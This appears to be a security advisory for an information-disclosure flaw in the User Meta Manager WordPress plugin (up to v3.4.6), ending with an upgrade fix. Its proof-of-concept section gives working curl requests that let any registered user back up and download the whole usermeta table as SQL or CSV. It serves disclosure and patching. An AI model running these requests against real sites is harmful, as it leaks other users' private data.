## Description

User Meta Manager for WordPress plugin up to v3.4.6 suffers from a
information disclosure vulnerability. Any registered user can perform an
a series of AJAX requests, in order to get all contents of `usermeta` DB
table.

`usermeta` table holds additional information for all registered users.
User Meta Manager plugin offers a `usermeta` table backup functionality.
During the backup process the plugin takes no action in protecting the
leakage of the table contents to unauthorized (non-admin) users.

## PoC

### Get as MySQL query

First a backup table must be created

```sh
curl -c ${USER_COOKIES} 
 "http://${VULN_SITE}/wp-admin/admin-ajax.php
 ?action=umm_switch_action&umm_sub_action=umm_backup"
```

Then we get the table with another request

```sh
curl -c ${USER_COOKIES} 
 "http://${VULN_SITE}/wp-admin/admin-ajax.php
 ?action=umm_switch_action&umm_sub_action=umm_backup&mode=sql"
```

### Get as CSV file

```sh
curl -c ${USER_COOKIES} 
 "http://${VULN_SITE}/wp-admin/admin-ajax.php
 ?action=umm_switch_action&umm_sub_action=umm_get_csv"
```

## Solution

Upgrade to version 3.4.8
